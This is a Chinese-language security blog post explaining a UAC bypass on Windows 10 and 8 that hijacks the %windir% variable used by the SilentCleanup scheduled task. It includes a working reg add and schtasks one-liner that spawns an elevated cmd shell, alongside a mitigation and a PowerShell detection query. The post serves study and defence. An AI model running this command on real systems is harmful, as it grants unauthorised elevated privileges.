如何使用SilentCleanup繞過UAC?
0x00 前言
最近我在James Forshaw?的博客學到了一個Win10下繞過UAC的技巧,該方法通過腳本實現,並且目前微軟還未對該繞過方法進行修復(預計在Win10 RS3修復)。經過我的學習測試,該方法同樣適用於Win8,並且文中介紹的繞過思路很值得學習,因此整理成文,分享給大家。
文章地址如下:
https://tyranidslair.blogspot.co.uk/2017/05/exploiting-environment-variables-in.html
0x01 簡介
本文將要介紹以下內容:
繞過思路
利用方法
0x02 繞過思路
在之前文章也分享過一些繞過UAC思路的心得,可參考以下文章:
https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-using-sdclt.exe-to-bypass-UAC/
https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.1(Monitor-WMI_ExportsToC++_Use-DiskCleanup-bypass-UAC)/
個人認為尋找繞過UAC的方法可分為以下兩個步驟:
1、尋找許可權控制不嚴格的程序
通常具有以下特點:
以普通用戶許可權啟動程序
程序默認以高許可權啟動,通常標記為Highest
2、該程序啟動過程是否可被劫持
啟動路徑是否可被劫持
啟動過程載入的問題(如dll)是否可被劫持
0x03 利用方法
對應到James Forshaw?的方法,也是優先尋找許可權控制不嚴格的程序——計劃任務中的SilentCleanup
註:
Matt Nelson之前也介紹過一個利用SilentCleanup繞過UAC的方法,目前已被修復,文章地址如下:
https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/
計劃任務中的SilentCleanup:
普通用戶許可權即可啟動
啟動後自動提升為高許可權
通過Powershell可以獲取更多細節,代碼如下:
$task = Get-ScheduledTask SilentCleanup$task.Principal
註:
Win7默認powershell版本2.0,不支持Get-ScheduledTask操作
如下圖
Authenticated Users表示普通用戶許可權即可啟動
RunLevel為Highest表示以高許可權啟動
查看啟動參數,powershell代碼如下:
$task.Actions[0]
如下圖
註:
%windir%默認指向c:Windows
如果修改當前系統環境變數,指向其他路徑,那麼這裡就實現了一個劫持
例如:
將%windir%設置為c:test
在c:testsystem32下將payload.exe保存為cleanmgr.exe
那麼在啟動計劃任務SilentCleanup時,就會以高許可權啟動payload.exe,實現了UAC繞過
更直接的利用方法:
注:
cmd後面需要加參數,否則由於參數問題導致無法正常啟動
/k表示彈出的cmd.exe在執行代碼後不退出
reg add hkcuEnvironment /v windir /d "cmd /K reg delete hkcuEnvironment /v windir /f && REM "schtasks /Run /TN MicrosoftWindowsDiskCleanupSilentCleanup /I
註:
以上代碼來自於https://gist.github.com/tyranid/729b334bf9dc0f38184dbd47ae3f52d0#file-disk_cleanup_uac_bypass-bat
完整操作如下圖
GIF/72K
注:
0x04 防禦檢測
1、防禦
管理員許可權:
$action = New-ScheduledTaskAction -Execute $env:windirSystem32cleanmgr.exe -Argument "/autoclean /d $env:systemdrive"Set-ScheduledTask SilentCleanup -TaskPath MicrosoftWindowsDiskCleanup -Action $action
註:
如下圖
2、檢測
通過powershell尋找計劃任務中是否還存在可供利用的服務,代碼如下:
$tasks = Get-ScheduledTask | Where-Object { $_.Principal.RunLevel -ne "Limited" -and $_.Principal.LogonType -ne "ServiceAccount" -and $_.State -ne "Disabled" -and $_.Actions[0].CimClass.CimClassName -eq "MSFT_TaskExecAction" }
註:
以上代碼來自於https://gist.github.com/tyranid/92e1c7074a9a7b0d5d021e9218e34fe7#file-get_scheduled_tasks-ps1
如下圖,可供利用的服務一共有四個,經測試,其他三個無法實際利用,只有SilentCleanup有效
0x05 補充
該方法同樣適用於Win8環境,完整操作如下圖
GIF/50K
Win7系統不包含計劃任務SilentCleanup,因此無法利用
0x06 小結
本文介紹了通過計劃任務SilentCleanup繞過UAC的方法,該方法僅需要通過腳本向當前用戶註冊表寫入鍵值即可,簡單有效。
點擊展開全文
※ImageMagick再爆嚴重漏洞,可導致雅虎郵箱用戶郵件內容泄漏
※一次用 7個NSA 武器的新 SMB 蠕蟲——永恆之石
※外媒:中國遊戲服務公司iGSKY入侵Xbox賬戶,並涉嫌洗錢
※App Store里的色情應用生態:偽裝、誘導付費、竊取你的隱私信息
TAG:嘶吼RoarTalk |